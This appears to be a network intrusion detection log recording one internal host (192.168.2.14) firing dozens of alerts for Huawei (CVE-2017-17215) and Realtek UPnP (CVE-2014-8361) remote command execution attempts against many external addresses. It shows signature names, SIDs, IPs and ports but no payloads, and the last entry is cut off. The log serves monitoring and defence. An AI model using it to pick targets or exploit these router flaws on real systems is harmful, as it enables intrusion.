ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.217.55

Timestamp:	07/20/24-23:01:33.043558
SID:	2835222
Source Port:	52568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 149.100.184.249

Timestamp:	07/20/24-23:01:25.287093
SID:	2829579
Source Port:	44472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 70.231.21.112

Timestamp:	07/20/24-23:01:33.640361
SID:	2027339
Source Port:	33978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 146.184.254.182

Timestamp:	07/20/24-23:01:25.007295
SID:	2025132
Source Port:	57888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 174.193.181.196

Timestamp:	07/20/24-23:01:33.182181
SID:	2025132
Source Port:	49806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 186.241.124.28

Timestamp:	07/20/24-23:01:33.367602
SID:	2027339
Source Port:	60340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.159.161.4

Timestamp:	07/20/24-23:01:11.478031
SID:	2835222
Source Port:	51788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 19.75.81.79

Timestamp:	07/20/24-23:01:34.945022
SID:	2831300
Source Port:	54686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.78.108

Timestamp:	07/20/24-23:01:05.898116
SID:	2829579
Source Port:	45086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.200.88.89

Timestamp:	07/20/24-23:01:11.477131
SID:	2835222
Source Port:	32974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 190.101.187.66

Timestamp:	07/20/24-23:01:29.170915
SID:	2831300
Source Port:	53242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.86.185.73

Timestamp:	07/20/24-23:01:02.411662
SID:	2835222
Source Port:	60374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.102.177.131

Timestamp:	07/20/24-23:01:02.415259
SID:	2835222
Source Port:	55584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 8.188.8.56

Timestamp:	07/20/24-23:01:07.210802
SID:	2027339
Source Port:	36720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 37.92.251.97

Timestamp:	07/20/24-23:01:13.333147
SID:	2831300
Source Port:	33012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 79.199.66.178

Timestamp:	07/20/24-23:01:13.334997
SID:	2831300
Source Port:	52994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 79.163.220.136

Timestamp:	07/20/24-23:01:05.641880
SID:	2025132
Source Port:	55808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.218.188.73

Timestamp:	07/20/24-23:01:28.208110
SID:	2829579
Source Port:	60824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 73.226.113.9

Timestamp:	07/20/24-23:01:07.676921
SID:	2829579
Source Port:	59370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.83.18.173

Timestamp:	07/20/24-23:01:14.397263
SID:	2829579
Source Port:	38260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.175.199.162

Timestamp:	07/20/24-23:01:22.794319
SID:	2835222
Source Port:	33862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 158.56.98.102

Timestamp:	07/20/24-23:01:34.919558
SID:	2027339
Source Port:	41714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.169.213.136

Timestamp:	07/20/24-23:01:29.189808
SID:	2027339
Source Port:	58774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.233.133.241

Timestamp:	07/20/24-23:01:05.895754
SID:	2829579
Source Port:	51638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.73.230

Timestamp:	07/20/24-23:01:28.145934
SID:	2835222
Source Port:	51828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 180.39.180.182

Timestamp:	07/20/24-23:01:05.597095
SID:	2025132
Source Port:	43066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.178.40

Timestamp:	07/20/24-23:01:19.220637
SID:	2829579
Source Port:	50898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 110.2.88.21

Timestamp:	07/20/24-23:01:34.919559
SID:	2027339
Source Port:	55714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 42.255.69.128

Timestamp:	07/20/24-23:01:02.415804
SID:	2835222
Source Port:	54222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.27.201.243

Timestamp:	07/20/24-23:01:11.461509
SID:	2835222
Source Port:	53392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.246.243.194

Timestamp:	07/20/24-23:01:28.219332
SID:	2829579
Source Port:	39144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.6.120

Timestamp:	07/20/24-23:01:11.480465
SID:	2835222
Source Port:	53330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 199.67.163.62

Timestamp:	07/20/24-23:01:02.416600
SID:	2829579
Source Port:	38644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 100.194.101.29

Timestamp:	07/20/24-23:01:14.416273
SID:	2835222
Source Port:	55888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 31.90.157.252

Timestamp:	07/20/24-23:01:05.652239
SID:	2027339
Source Port:	38858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.243.189.163

Timestamp:	07/20/24-23:01:22.769326
SID:	2829579
Source Port:	35048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 189.92.207.153

Timestamp:	07/20/24-23:01:25.210004
SID:	2025132
Source Port:	51666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.230.166

Timestamp:	07/20/24-23:01:07.682290
SID:	2835222
Source Port:	39184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 35.20.186.175

Timestamp:	07/20/24-23:01:33.068258
SID:	2835222
Source Port:	48806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.66.186.18

Timestamp:	07/20/24-23:01:37.122769
SID:	2829579
Source Port:	40214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 91.137.254.120

Timestamp:	07/20/24-23:01:34.910407
SID:	2027339
Source Port:	45608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.218.48

Timestamp:	07/20/24-23:01:22.772933
SID:	2829579
Source Port:	34052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 134.114.43.200

Timestamp:	07/20/24-23:01:07.674717
SID:	2835222
Source Port:	37132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 101.191.129.126

Timestamp:	07/20/24-23:01:05.573784
SID:	2027339
Source Port:	33816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.196.103

Timestamp:	07/20/24-23:01:37.217137
SID:	2829579
Source Port:	51432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 190.106.73.53

Timestamp:	07/20/24-23:01:11.468893
SID:	2829579
Source Port:	34810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.162.218.57

Timestamp:	07/20/24-23:01:14.397957
SID:	2829579
Source Port:	59580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.1.148.179

Timestamp:	07/20/24-23:01:22.779153
SID:	2829579
Source Port:	60040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.67.110.142

Timestamp:	07/20/24-23:01:25.295702
SID:	2835222
Source Port:	50546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.220.236.131

Timestamp:	07/20/24-23:01:33.069192
SID:	2829579
Source Port:	47904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.156.34.177

Timestamp:	07/20/24-23:01:05.895933
SID:	2829579
Source Port:	39734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.215.5.247

Timestamp:	07/20/24-23:01:37.163818
SID:	2829579
Source Port:	37760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 47.157.17.225

Timestamp:	07/20/24-23:01:29.198098
SID:	2027339
Source Port:	33284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.95.112.138

Timestamp:	07/20/24-23:01:07.664911
SID:	2835222
Source Port:	54092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 43.85.108.87

Timestamp:	07/20/24-23:01:34.936611
SID:	2027339
Source Port:	51584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 137.177.10.208

Timestamp:	07/20/24-23:01:22.769326
SID:	2829579
Source Port:	59556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.193.210.73

Timestamp:	07/20/24-23:01:19.235468
SID:	2829579
Source Port:	47534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 138.145.119.211

Timestamp:	07/20/24-23:01:33.598861
SID:	2027339
Source Port:	38018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.150.206.31

Timestamp:	07/20/24-23:01:22.794319
SID:	2829579
Source Port:	43470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 82.44.225.133

Timestamp:	07/20/24-23:01:13.329142
SID:	2027339
Source Port:	58330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.127.82.180

Timestamp:	07/20/24-23:01:37.222600
SID:	2835222
Source Port:	43372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 169.73.158.246

Timestamp:	07/20/24-23:01:13.332438
SID:	2831300
Source Port:	42376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.185.100.168

Timestamp:	07/20/24-23:01:07.668267
SID:	2829579
Source Port:	50852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 184.212.2.51

Timestamp:	07/20/24-23:01:14.401421
SID:	2835222
Source Port:	46810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 174.193.181.196

Timestamp:	07/20/24-23:01:34.929652
SID:	2831300
Source Port:	51604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.255.114.130

Timestamp:	07/20/24-23:01:14.416273
SID:	2835222
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 118.44.218.190

Timestamp:	07/20/24-23:01:13.329789
SID:	2831300
Source Port:	48634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.4.192.144

Timestamp:	07/20/24-23:01:19.225050
SID:	2829579
Source Port:	44066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.26.114.57

Timestamp:	07/20/24-23:01:33.068258
SID:	2835222
Source Port:	60878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.141.84.47

Timestamp:	07/20/24-23:01:34.204689
SID:	2027339
Source Port:	36290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.42.5.74

Timestamp:	07/20/24-23:01:05.906603
SID:	2835222
Source Port:	35758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.30.219.131

Timestamp:	07/20/24-23:01:33.036114
SID:	2829579
Source Port:	50194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 13.226.216.53

Timestamp:	07/20/24-23:01:33.193550
SID:	2025132
Source Port:	46900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 200.134.207.26

Timestamp:	07/20/24-23:01:24.712847
SID:	2027339
Source Port:	53686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 167.165.86.177

Timestamp:	07/20/24-23:01:11.477507
SID:	2829579
Source Port:	42950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.181.100.135

Timestamp:	07/20/24-23:01:33.094838
SID:	2829579
Source Port:	44230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.150.203

Timestamp:	07/20/24-23:01:37.214680
SID:	2829579
Source Port:	58334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.116.171.252

Timestamp:	07/20/24-23:01:33.056745
SID:	2835222
Source Port:	58524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 178.14.114.28

Timestamp:	07/20/24-23:01:33.864769
SID:	2025132
Source Port:	51250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.171.242.198

Timestamp:	07/20/24-23:01:11.461509
SID:	2835222
Source Port:	34260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.16.155.45

Timestamp:	07/20/24-23:01:37.224827
SID:	2829579
Source Port:	33790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.28.196.52

Timestamp:	07/20/24-23:01:05.906603
SID:	2829579
Source Port:	43612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.88.41.229

Timestamp:	07/20/24-23:01:02.410541
SID:	2835222
Source Port:	41482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.25.16.9

Timestamp:	07/20/24-23:01:33.047902
SID:	2829579
Source Port:	47774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.155.34

Timestamp:	07/20/24-23:01:37.166003
SID:	2829579
Source Port:	37296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 117.199.176.147

Timestamp:	07/20/24-23:01:06.336576
SID:	2025132
Source Port:	40486
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.9.56.149

Timestamp:	07/20/24-23:01:05.920528
SID:	2835222
Source Port:	55434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.64.11.191

Timestamp:	07/20/24-23:01:22.788405
SID:	2829579
Source Port:	58540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.33.91

Timestamp:	07/20/24-23:01:07.680463
SID:	2835222
Source Port:	50124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 40.156.155.77

Timestamp:	07/20/24-23:01:13.335387
SID:	2831300
Source Port:	37002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 205.244.60.239

Timestamp:	07/20/24-23:01:29.173099
SID:	2027339
Source Port:	32826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 142.63.99.254

Timestamp:	07/20/24-23:01:34.914909
SID:	2831300
Source Port:	57470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.97.83.71

Timestamp:	07/20/24-23:01:05.897173
SID:	2829579
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.67.250.160

Timestamp:	07/20/24-23:01:25.293652
SID:	2829579
Source Port:	57772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.190.16.151

Timestamp:	07/20/24-23:01:25.283565
SID:	2835222
Source Port:	42826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 70.48.172.224

Timestamp:	07/20/24-23:01:30.731210
SID:	2027339
Source Port:	45820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.27.76.211

Timestamp:	07/20/24-23:01:25.290247
SID:	2829579
Source Port:	51950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.28.208.36

Timestamp:	07/20/24-23:01:05.898116
SID:	2829579
Source Port:	43638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 42.203.55.38

Timestamp:	07/20/24-23:01:23.157753
SID:	2027339
Source Port:	43956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 147.24.204.167

Timestamp:	07/20/24-23:01:06.612211
SID:	2025132
Source Port:	38538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 58.186.168.57

Timestamp:	07/20/24-23:01:29.182229
SID:	2027339
Source Port:	34864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.7.72

